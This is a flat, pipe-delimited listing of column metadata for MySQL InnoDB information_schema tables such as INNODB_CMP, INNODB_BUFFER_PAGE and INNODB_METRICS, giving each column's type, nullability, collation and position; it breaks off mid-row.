INNODB_FT_CONFIG | | varchar(193) | NO | KEY | information_schema | select | def | NULL | | utf8_general_ci | | 1 | NULL | utf8 | NULL | | 579 | 193 | | | varchar | INNODB_FT_CONFIG | | varchar(193) | NO | VALUE | information_schema | select | def | NULL | | utf8_general_ci | | 2 | NULL | utf8 | NULL | | 579 | 193 | | | bigint | INNODB_SYS_VIRTUAL | | bigint(21) unsigned | NO | TABLE_ID | information_schema | select | def | 0 | | NULL | 0 | 1 | 20 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_VIRTUAL | | int(11) unsigned | NO | POS | information_schema | select | def | 0 | | NULL | 0 | 2 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_VIRTUAL | | int(11) unsigned | NO | BASE_POS | information_schema | select | def | 0 | | NULL | 0 | 3 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP | | int(5) | NO | page_size | information_schema | select | def | 0 | | NULL | 0 | 1 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP | | int(11) | NO | compress_ops | information_schema | select | def | 0 | | NULL | 0 | 2 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP | | int(11) | NO | compress_ops_ok | information_schema | select | def | 0 | | NULL | 0 | 3 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP | | int(11) | NO | compress_time | information_schema | select | def | 0 | | NULL | 0 | 4 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP | | int(11) | NO | uncompress_ops | information_schema | select | def | 0 | | NULL | 0 | 5 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP | | int(11) | NO | uncompress_time | information_schema | select | def | 0 | | NULL | 0 | 6 | 10 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_FT_BEING_DELETED | | bigint(21) unsigned | NO | DOC_ID | information_schema | select | def | 0 | | NULL | 0 | 1 | 20 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP_RESET | | int(5) | NO | page_size | information_schema | select | def | 0 | | NULL | 0 | 1 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP_RESET | | int(11) | NO | compress_ops | information_schema | select | def | 0 | | NULL | 0 | 2 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP_RESET | | int(11) | NO | compress_ops_ok | information_schema | select | def | 0 | | NULL | 0 | 3 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP_RESET | | int(11) | NO | compress_time | information_schema | select | def | 0 | | NULL | 0 | 4 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP_RESET | | int(11) | NO | uncompress_ops | information_schema | select | def | 0 | | NULL | 0 | 5 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP_RESET | | int(11) | NO | uncompress_time | information_schema | select | def | 0 | | NULL | 0 | 6 | 10 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_CMP_PER_INDEX | | varchar(192) | NO | database_name | information_schema | select | def | NULL | | utf8_general_ci | | 1 | NULL | utf8 | NULL | | 576 | 192 | | | varchar | INNODB_CMP_PER_INDEX | | varchar(192) | NO | table_name | information_schema | select | def | NULL | | utf8_general_ci | | 2 | NULL | utf8 | NULL | | 576 | 192 | | | varchar | INNODB_CMP_PER_INDEX | | varchar(192) | NO | index_name | information_schema | select | def | NULL | | utf8_general_ci | | 3 | NULL | utf8 | NULL | | 576 | 192 | | | int | INNODB_CMP_PER_INDEX | | int(11) | NO | compress_ops | information_schema | select | def | 0 | | NULL | 0 | 4 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP_PER_INDEX | | int(11) | NO | compress_ops_ok | information_schema | select | def | 0 | | NULL | 0 | 5 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP_PER_INDEX | | int(11) | NO | compress_time | information_schema | select | def | 0 | | NULL | 0 | 6 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP_PER_INDEX | | int(11) | NO | uncompress_ops | information_schema | select | def | 0 | | NULL | 0 | 7 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP_PER_INDEX | | int(11) | NO | uncompress_time | information_schema | select | def | 0 | | NULL | 0 | 8 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMPMEM_RESET | | int(5) | NO | page_size | information_schema | select | def | 0 | | NULL | 0 | 1 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMPMEM_RESET | | int(11) | NO | buffer_pool_instance | information_schema | select | def | 0 | | NULL | 0 | 2 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMPMEM_RESET | | int(11) | NO | pages_used | information_schema | select | def | 0 | | NULL | 0 | 3 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMPMEM_RESET | | int(11) | NO | pages_free | information_schema | select | def | 0 | | NULL | 0 | 4 | 10 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_CMPMEM_RESET | | bigint(21) | NO | relocation_ops | information_schema | select | def | 0 | | NULL | 0 | 5 | 19 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMPMEM_RESET | | int(11) | NO | relocation_time | information_schema | select | def | 0 | | NULL | 0 | 6 | 10 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_FT_DELETED | | bigint(21) unsigned | NO | DOC_ID | information_schema | select | def | 0 | | NULL | 0 | 1 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | bigint(21) unsigned | NO | POOL_ID | information_schema | select | def | 0 | | NULL | 0 | 1 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | bigint(21) unsigned | NO | LRU_POSITION | information_schema | select | def | 0 | | NULL | 0 | 2 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | bigint(21) unsigned | NO | SPACE | information_schema | select | def | 0 | | NULL | 0 | 3 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | bigint(21) unsigned | NO | PAGE_NUMBER | information_schema | select | def | 0 | | NULL | 0 | 4 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE_LRU | | varchar(64) | YES | PAGE_TYPE | information_schema | select | def | NULL | | utf8_general_ci | NULL | 5 | NULL | utf8 | NULL | | 192 | 64 | | | bigint | INNODB_BUFFER_PAGE_LRU | | bigint(21) unsigned | NO | FLUSH_TYPE | information_schema | select | def | 0 | | NULL | 0 | 6 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | bigint(21) unsigned | NO | FIX_COUNT | information_schema | select | def | 0 | | NULL | 0 | 7 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE_LRU | | varchar(3) | YES | IS_HASHED | information_schema | select | def | NULL | | utf8_general_ci | NULL | 8 | NULL | utf8 | NULL | | 9 | 3 | | | bigint | INNODB_BUFFER_PAGE_LRU | | bigint(21) unsigned | NO | NEWEST_MODIFICATION | information_schema | select | def | 0 | | NULL | 0 | 9 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | bigint(21) unsigned | NO | OLDEST_MODIFICATION | information_schema | select | def | 0 | | NULL | 0 | 10 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | bigint(21) unsigned | NO | ACCESS_TIME | information_schema | select | def | 0 | | NULL | 0 | 11 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE_LRU | | varchar(1024) | YES | TABLE_NAME | information_schema | select | def | NULL | | utf8_general_ci | NULL | 12 | NULL | utf8 | NULL | | 3072 | 1024 | | | varchar | INNODB_BUFFER_PAGE_LRU | | varchar(1024) | YES | INDEX_NAME | information_schema | select | def | NULL | | utf8_general_ci | NULL | 13 | NULL | utf8 | NULL | | 3072 | 1024 | | | bigint | INNODB_BUFFER_PAGE_LRU | | bigint(21) unsigned | NO | NUMBER_RECORDS | information_schema | select | def | 0 | | NULL | 0 | 14 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | bigint(21) unsigned | NO | DATA_SIZE | information_schema | select | def | 0 | | NULL | 0 | 15 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | bigint(21) unsigned | NO | COMPRESSED_SIZE | information_schema | select | def | 0 | | NULL | 0 | 16 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE_LRU | | varchar(3) | YES | COMPRESSED | information_schema | select | def | NULL | | utf8_general_ci | NULL | 17 | NULL | utf8 | NULL | | 9 | 3 | | | varchar | INNODB_BUFFER_PAGE_LRU | | varchar(64) | YES | IO_FIX | information_schema | select | def | NULL | | utf8_general_ci | NULL | 18 | NULL | utf8 | NULL | | 192 | 64 | | | varchar | INNODB_BUFFER_PAGE_LRU | | varchar(3) | YES | IS_OLD | information_schema | select | def | NULL | | utf8_general_ci | NULL | 19 | NULL | utf8 | NULL | | 9 | 3 | | | bigint | INNODB_BUFFER_PAGE_LRU | | bigint(21) unsigned | NO | FREE_PAGE_CLOCK | information_schema | select | def | 0 | | NULL | 0 | 20 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_LOCK_WAITS | | varchar(18) | NO | requesting_trx_id | information_schema | select | def | NULL | | utf8_general_ci | | 1 | NULL | utf8 | NULL | | 54 | 18 | | | varchar | INNODB_LOCK_WAITS | | varchar(81) | NO | requested_lock_id | information_schema | select | def | NULL | | utf8_general_ci | | 2 | NULL | utf8 | NULL | | 243 | 81 | | | varchar | INNODB_LOCK_WAITS | | varchar(18) | NO | blocking_trx_id | information_schema | select | def | NULL | | utf8_general_ci | | 3 | NULL | utf8 | NULL | | 54 | 18 | | | varchar | INNODB_LOCK_WAITS | | varchar(81) | NO | blocking_lock_id | information_schema | select | def | NULL | | utf8_general_ci | | 4 | NULL | utf8 | NULL | | 243 | 81 | | | bigint | INNODB_TEMP_TABLE_INFO | | bigint(21) unsigned | NO | TABLE_ID | information_schema | select | def | 0 | | NULL | 0 | 1 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_TEMP_TABLE_INFO | | varchar(202) | YES | NAME | information_schema | select | def | NULL | | utf8_general_ci | NULL | 2 | NULL | utf8 | NULL | | 606 | 202 | | | int | INNODB_TEMP_TABLE_INFO | | int(11) unsigned | NO | N_COLS | information_schema | select | def | 0 | | NULL | 0 | 3 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_TEMP_TABLE_INFO | | int(11) unsigned | NO | SPACE | information_schema | select | def | 0 | | NULL | 0 | 4 | 10 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_TEMP_TABLE_INFO | | varchar(64) | YES | PER_TABLE_TABLESPACE | information_schema | select | def | NULL | | utf8_general_ci | NULL | 5 | NULL | utf8 | NULL | | 192 | 64 | | | varchar | INNODB_TEMP_TABLE_INFO | | varchar(64) | YES | IS_COMPRESSED | information_schema | select | def | NULL | | utf8_general_ci | NULL | 6 | NULL | utf8 | NULL | | 192 | 64 | | | bigint | INNODB_SYS_INDEXES | | bigint(21) unsigned | NO | INDEX_ID | information_schema | select | def | 0 | | NULL | 0 | 1 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_SYS_INDEXES | | varchar(193) | NO | NAME | information_schema | select | def | NULL | | utf8_general_ci | | 2 | NULL | utf8 | NULL | | 579 | 193 | | | bigint | INNODB_SYS_INDEXES | | bigint(21) unsigned | NO | TABLE_ID | information_schema | select | def | 0 | | NULL | 0 | 3 | 20 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_INDEXES | | int(11) | NO | TYPE | information_schema | select | def | 0 | | NULL | 0 | 4 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_INDEXES | | int(11) | NO | N_FIELDS | information_schema | select | def | 0 | | NULL | 0 | 5 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_INDEXES | | int(11) | NO | PAGE_NO | information_schema | select | def | 0 | | NULL | 0 | 6 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_INDEXES | | int(11) | NO | SPACE | information_schema | select | def | 0 | | NULL | 0 | 7 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_INDEXES | | int(11) | NO | MERGE_THRESHOLD | information_schema | select | def | 0 | | NULL | 0 | 8 | 10 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_SYS_TABLES | | bigint(21) unsigned | NO | TABLE_ID | information_schema | select | def | 0 | | NULL | 0 | 1 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_SYS_TABLES | | varchar(655) | NO | NAME | information_schema | select | def | NULL | | utf8_general_ci | | 2 | NULL | utf8 | NULL | | 1965 | 655 | | | int | INNODB_SYS_TABLES | | int(11) | NO | FLAG | information_schema | select | def | 0 | | NULL | 0 | 3 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_TABLES | | int(11) | NO | N_COLS | information_schema | select | def | 0 | | NULL | 0 | 4 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_TABLES | | int(11) | NO | SPACE | information_schema | select | def | 0 | | NULL | 0 | 5 | 10 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_SYS_TABLES | | varchar(10) | YES | FILE_FORMAT | information_schema | select | def | NULL | | utf8_general_ci | NULL | 6 | NULL | utf8 | NULL | | 30 | 10 | | | varchar | INNODB_SYS_TABLES | | varchar(12) | YES | ROW_FORMAT | information_schema | select | def | NULL | | utf8_general_ci | NULL | 7 | NULL | utf8 | NULL | | 36 | 12 | | | int | INNODB_SYS_TABLES | | int(11) unsigned | NO | ZIP_PAGE_SIZE | information_schema | select | def | 0 | | NULL | 0 | 8 | 10 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_SYS_TABLES | | varchar(10) | YES | SPACE_TYPE | information_schema | select | def | NULL | | utf8_general_ci | NULL | 9 | NULL | utf8 | NULL | | 30 | 10 | | | bigint | INNODB_SYS_FIELDS | | bigint(21) unsigned | NO | INDEX_ID | information_schema | select | def | 0 | | NULL | 0 | 1 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_SYS_FIELDS | | varchar(193) | NO | NAME | information_schema | select | def | NULL | | utf8_general_ci | | 2 | NULL | utf8 | NULL | | 579 | 193 | | | int | INNODB_SYS_FIELDS | | int(11) unsigned | NO | POS | information_schema | select | def | 0 | | NULL | 0 | 3 | 10 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_CMP_PER_INDEX_RESET | | varchar(192) | NO | database_name | information_schema | select | def | NULL | | utf8_general_ci | | 1 | NULL | utf8 | NULL | | 576 | 192 | | | varchar | INNODB_CMP_PER_INDEX_RESET | | varchar(192) | NO | table_name | information_schema | select | def | NULL | | utf8_general_ci | | 2 | NULL | utf8 | NULL | | 576 | 192 | | | varchar | INNODB_CMP_PER_INDEX_RESET | | varchar(192) | NO | index_name | information_schema | select | def | NULL | | utf8_general_ci | | 3 | NULL | utf8 | NULL | | 576 | 192 | | | int | INNODB_CMP_PER_INDEX_RESET | | int(11) | NO | compress_ops | information_schema | select | def | 0 | | NULL | 0 | 4 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP_PER_INDEX_RESET | | int(11) | NO | compress_ops_ok | information_schema | select | def | 0 | | NULL | 0 | 5 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP_PER_INDEX_RESET | | int(11) | NO | compress_time | information_schema | select | def | 0 | | NULL | 0 | 6 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP_PER_INDEX_RESET | | int(11) | NO | uncompress_ops | information_schema | select | def | 0 | | NULL | 0 | 7 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMP_PER_INDEX_RESET | | int(11) | NO | uncompress_time | information_schema | select | def | 0 | | NULL | 0 | 8 | 10 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | bigint(21) unsigned | NO | POOL_ID | information_schema | select | def | 0 | | NULL | 0 | 1 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | bigint(21) unsigned | NO | BLOCK_ID | information_schema | select | def | 0 | | NULL | 0 | 2 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | bigint(21) unsigned | NO | SPACE | information_schema | select | def | 0 | | NULL | 0 | 3 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | bigint(21) unsigned | NO | PAGE_NUMBER | information_schema | select | def | 0 | | NULL | 0 | 4 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE | | varchar(64) | YES | PAGE_TYPE | information_schema | select | def | NULL | | utf8_general_ci | NULL | 5 | NULL | utf8 | NULL | | 192 | 64 | | | bigint | INNODB_BUFFER_PAGE | | bigint(21) unsigned | NO | FLUSH_TYPE | information_schema | select | def | 0 | | NULL | 0 | 6 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | bigint(21) unsigned | NO | FIX_COUNT | information_schema | select | def | 0 | | NULL | 0 | 7 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE | | varchar(3) | YES | IS_HASHED | information_schema | select | def | NULL | | utf8_general_ci | NULL | 8 | NULL | utf8 | NULL | | 9 | 3 | | | bigint | INNODB_BUFFER_PAGE | | bigint(21) unsigned | NO | NEWEST_MODIFICATION | information_schema | select | def | 0 | | NULL | 0 | 9 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | bigint(21) unsigned | NO | OLDEST_MODIFICATION | information_schema | select | def | 0 | | NULL | 0 | 10 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | bigint(21) unsigned | NO | ACCESS_TIME | information_schema | select | def | 0 | | NULL | 0 | 11 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE | | varchar(1024) | YES | TABLE_NAME | information_schema | select | def | NULL | | utf8_general_ci | NULL | 12 | NULL | utf8 | NULL | | 3072 | 1024 | | | varchar | INNODB_BUFFER_PAGE | | varchar(1024) | YES | INDEX_NAME | information_schema | select | def | NULL | | utf8_general_ci | NULL | 13 | NULL | utf8 | NULL | | 3072 | 1024 | | | bigint | INNODB_BUFFER_PAGE | | bigint(21) unsigned | NO | NUMBER_RECORDS | information_schema | select | def | 0 | | NULL | 0 | 14 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | bigint(21) unsigned | NO | DATA_SIZE | information_schema | select | def | 0 | | NULL | 0 | 15 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | bigint(21) unsigned | NO | COMPRESSED_SIZE | information_schema | select | def | 0 | | NULL | 0 | 16 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE | | varchar(64) | YES | PAGE_STATE | information_schema | select | def | NULL | | utf8_general_ci | NULL | 17 | NULL | utf8 | NULL | | 192 | 64 | | | varchar | INNODB_BUFFER_PAGE | | varchar(64) | YES | IO_FIX | information_schema | select | def | NULL | | utf8_general_ci | NULL | 18 | NULL | utf8 | NULL | | 192 | 64 | | | varchar | INNODB_BUFFER_PAGE | | varchar(3) | YES | IS_OLD | information_schema | select | def | NULL | | utf8_general_ci | NULL | 19 | NULL | utf8 | NULL | | 9 | 3 | | | bigint | INNODB_BUFFER_PAGE | | bigint(21) unsigned | NO | FREE_PAGE_CLOCK | information_schema | select | def | 0 | | NULL | 0 | 20 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_FT_DEFAULT_STOPWORD | | varchar(18) | NO | value | information_schema | select | def | NULL | | utf8_general_ci | | 1 | NULL | utf8 | NULL | | 54 | 18 | | | varchar | INNODB_FT_INDEX_TABLE | | varchar(337) | NO | WORD | information_schema | select | def | NULL | | utf8_general_ci | | 1 | NULL | utf8 | NULL | | 1011 | 337 | | | bigint | INNODB_FT_INDEX_TABLE | | bigint(21) unsigned | NO | FIRST_DOC_ID | information_schema | select | def | 0 | | NULL | 0 | 2 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_FT_INDEX_TABLE | | bigint(21) unsigned | NO | LAST_DOC_ID | information_schema | select | def | 0 | | NULL | 0 | 3 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_FT_INDEX_TABLE | | bigint(21) unsigned | NO | DOC_COUNT | information_schema | select | def | 0 | | NULL | 0 | 4 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_FT_INDEX_TABLE | | bigint(21) unsigned | NO | DOC_ID | information_schema | select | def | 0 | | NULL | 0 | 5 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_FT_INDEX_TABLE | | bigint(21) unsigned | NO | POSITION | information_schema | select | def | 0 | | NULL | 0 | 6 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_FT_INDEX_CACHE | | varchar(337) | NO | WORD | information_schema | select | def | NULL | | utf8_general_ci | | 1 | NULL | utf8 | NULL | | 1011 | 337 | | | bigint | INNODB_FT_INDEX_CACHE | | bigint(21) unsigned | NO | FIRST_DOC_ID | information_schema | select | def | 0 | | NULL | 0 | 2 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_FT_INDEX_CACHE | | bigint(21) unsigned | NO | LAST_DOC_ID | information_schema | select | def | 0 | | NULL | 0 | 3 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_FT_INDEX_CACHE | | bigint(21) unsigned | NO | DOC_COUNT | information_schema | select | def | 0 | | NULL | 0 | 4 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_FT_INDEX_CACHE | | bigint(21) unsigned | NO | DOC_ID | information_schema | select | def | 0 | | NULL | 0 | 5 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_FT_INDEX_CACHE | | bigint(21) unsigned | NO | POSITION | information_schema | select | def | 0 | | NULL | 0 | 6 | 20 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_TABLESPACES | | int(11) unsigned | NO | SPACE | information_schema | select | def | 0 | | NULL | 0 | 1 | 10 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_SYS_TABLESPACES | | varchar(655) | NO | NAME | information_schema | select | def | NULL | | utf8_general_ci | | 2 | NULL | utf8 | NULL | | 1965 | 655 | | | int | INNODB_SYS_TABLESPACES | | int(11) unsigned | NO | FLAG | information_schema | select | def | 0 | | NULL | 0 | 3 | 10 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_SYS_TABLESPACES | | varchar(10) | YES | FILE_FORMAT | information_schema | select | def | NULL | | utf8_general_ci | NULL | 4 | NULL | utf8 | NULL | | 30 | 10 | | | varchar | INNODB_SYS_TABLESPACES | | varchar(22) | YES | ROW_FORMAT | information_schema | select | def | NULL | | utf8_general_ci | NULL | 5 | NULL | utf8 | NULL | | 66 | 22 | | | int | INNODB_SYS_TABLESPACES | | int(11) unsigned | NO | PAGE_SIZE | information_schema | select | def | 0 | | NULL | 0 | 6 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_SYS_TABLESPACES | | int(11) unsigned | NO | ZIP_PAGE_SIZE | information_schema | select | def | 0 | | NULL | 0 | 7 | 10 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_SYS_TABLESPACES | | varchar(10) | YES | SPACE_TYPE | information_schema | select | def | NULL | | utf8_general_ci | NULL | 8 | NULL | utf8 | NULL | | 30 | 10 | | | int | INNODB_SYS_TABLESPACES | | int(11) unsigned | NO | FS_BLOCK_SIZE | information_schema | select | def | 0 | | NULL | 0 | 9 | 10 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_SYS_TABLESPACES | | bigint(21) unsigned | NO | FILE_SIZE | information_schema | select | def | 0 | | NULL | 0 | 10 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_SYS_TABLESPACES | | bigint(21) unsigned | NO | ALLOCATED_SIZE | information_schema | select | def | 0 | | NULL | 0 | 11 | 20 | NULL | NULL | | NULL | NULL | | | varchar | INNODB_METRICS | | varchar(193) | NO | NAME | information_schema | select | def | NULL | | utf8_general_ci | | 1 | NULL | utf8 | NULL | | 579 | 193 | | | varchar | INNODB_METRICS | | varchar(193) | NO | SUBSYSTEM | information_schema | select | def | NULL | | utf8_general_ci | | 2 | NULL | utf8 | NULL | | 579 | 193 | | | bigint | INNODB_METRICS | | bigint(21) | NO | COUNT | information_schema | select | def | 0 | | NULL | 0 | 3 | 19 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_METRICS | | bigint(21) | YES | MAX_COUNT | information_schema | select | def | 0 | | NULL | NULL | 4 | 19 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_METRICS | | bigint(21) | YES | MIN_COUNT | information_schema | select | def | 0 | | NULL | NULL | 5 | 19 | NULL | NULL | | NULL | NULL | | | double | INNODB_METRICS | | double | YES | AVG_COUNT | information_schema | select | def | NULL | | NULL | NULL | 6 | 12 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_METRICS | | bigint(21) | NO | COUNT_RESET | information_schema | select | def | 0 | | NULL | 0 | 7 | 19 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_METRICS | | bigint(21) | YES | MAX_COUNT_RESET | information_schema | select | def | 0 | | NULL | NULL | 8 | 19 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_METRICS | | bigint(21) | YES | MIN_COUNT_RESET | information_schema | select | def | 0 | | NULL | NULL | 9 | 19 | NULL | NULL | | NULL | NULL | | | double | INNODB_METRICS | | double | YES | AVG_COUNT_RESET | information_schema | select | def | NULL | | NULL | NULL | 10 | 12 | NULL | NULL | | NULL | NULL | | | datetime | INNODB_METRICS | | datetime | YES | TIME_ENABLED | information_schema | select | def | NULL | | NULL | NULL | 11 | NULL | NULL | 0 | | NULL | NULL | | | datetime | INNODB_METRICS | | datetime | YES | TIME_DISABLED | information_schema | select | def | NULL | | NULL | NULL | 12 | NULL | NULL | 0 | | NULL | NULL | | | bigint | INNODB_METRICS | | bigint(21) | YES | TIME_ELAPSED | information_schema | select | def | 0 | | NULL | NULL | 13 | 19 | NULL | NULL | | NULL | NULL | | | datetime | INNODB_METRICS | | datetime | YES | TIME_RESET | information_schema | select | def | NULL | | NULL | NULL | 14 | NULL | NULL | 0 | | NULL | NULL | | | varchar | INNODB_METRICS | | varchar(193) | NO | STATUS | information_schema | select | def | NULL | | utf8_general_ci | | 15 | NULL | utf8 | NULL | | 579 | 193 | | | varchar | INNODB_METRICS | | varchar(193) | NO | TYPE | information_schema | select | def | NULL | | utf8_general_ci | | 16 | NULL | utf8 | NULL | | 579 | 193 | | | varchar | INNODB_METRICS | | varchar(193) | NO | COMMENT | information_schema | select | def | NULL | | utf8_general_ci | | 17 | NULL | utf8 | NULL | | 579 | 193 | | | varchar | INNODB_SYS_FOREIGN_COLS | | varchar(193) | NO | ID | information_schema | select | def | NULL | | utf8_general_ci | | 1 | NULL | utf8 | NULL | | 579 | 193 | | | varchar | INNODB_SYS_FOREIGN_COLS | | varchar(193) | NO | FOR_COL_NAME | information_schema | select | def | NULL | | utf8_general_ci | | 2 | NULL | utf8 | NULL | | 579 | 193 | | | varchar | INNODB_SYS_FOREIGN_COLS | | varchar(193) | NO | REF_COL_NAME | information_schema | select | def | NULL | | utf8_general_ci | | 3 | NULL | utf8 | NULL | | 579 | 193 | | | int | INNODB_SYS_FOREIGN_COLS | | int(11) unsigned | NO | POS | information_schema | select | def | 0 | | NULL | 0 | 4 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMPMEM | | int(5) | NO | page_size | information_schema | select | def | 0 | | NULL | 0 | 1 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMPMEM | | int(11) | NO | buffer_pool_instance | information_schema | select | def | 0 | | NULL | 0 | 2 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMPMEM | | int(11) | NO | pages_used | information_schema | select | def | 0 | | NULL | 0 | 3 | 10 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMPMEM | | int(11) | NO | pages_free | information_schema | select | def | 0 | | NULL | 0 | 4 | 10 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_CMPMEM | | bigint(21) | NO | relocation_ops | information_schema | select | def | 0 | | NULL | 0 | 5 | 19 | NULL | NULL | | NULL | NULL | | | int | INNODB_CMPMEM | | int(11) | NO | relocation_time | information_schema | select | def | 0 | | NULL | 0 | 6 | 10 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | POOL_ID | information_schema | select | def | 0 | | NULL | 0 | 1 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | POOL_SIZE | information_schema | select | def | 0 | | NULL | 0 | 2 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | FREE_BUFFERS | information_schema | select | def | 0 | | NULL | 0 | 3 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | DATABASE_PAGES | information_schema | select | def | 0 | | NULL | 0 | 4 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | OLD_DATABASE_PAGES | information_schema | select | def | 0 | | NULL | 0 | 5 | 20 | NULL | NULL | | NULL | NULL | | | bigint | INNODB_BUFFER_POOL_STATS | | bigint(21) unsigned | NO | 